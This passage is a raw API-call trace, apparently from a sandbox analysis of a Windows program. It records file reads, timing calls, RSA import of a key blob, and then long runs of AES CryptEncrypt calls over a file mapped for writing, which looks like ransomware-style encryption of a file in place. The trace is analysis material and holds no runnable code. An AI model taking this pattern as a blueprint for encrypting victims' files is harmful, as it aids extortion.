lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.308] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.311] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.311] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.311] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.311] CloseHandle (hObject=0x3c0) returned 1 [0128.311] GetTickCount () returned 0x1160036 [0128.311] GetTickCount () returned 0x1160036 [0128.311] GetTickCount () returned 0x1160036 [0128.311] GetTickCount () returned 0x1160036 [0128.311] GetTickCount () returned 0x1160036 [0128.311] GetTickCount () returned 0x1160036 [0128.311] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.312] GetTickCount () returned 0x1160036 [0128.313] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16681b8) returned 1 [0128.313] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639868) returned 1 [0128.313] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.313] CryptDestroyKey (hKey=0x1639868) returned 1 [0128.313] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0128.314] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.314] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0128.314] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668e78) returned 1 [0128.315] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639868) returned 1 [0128.315] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.315] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.315] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.315] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.315] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.315] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.315] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.315] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.315] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.315] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.315] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.315] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.315] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.315] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.315] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.315] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.315] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.316] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.317] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.318] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, 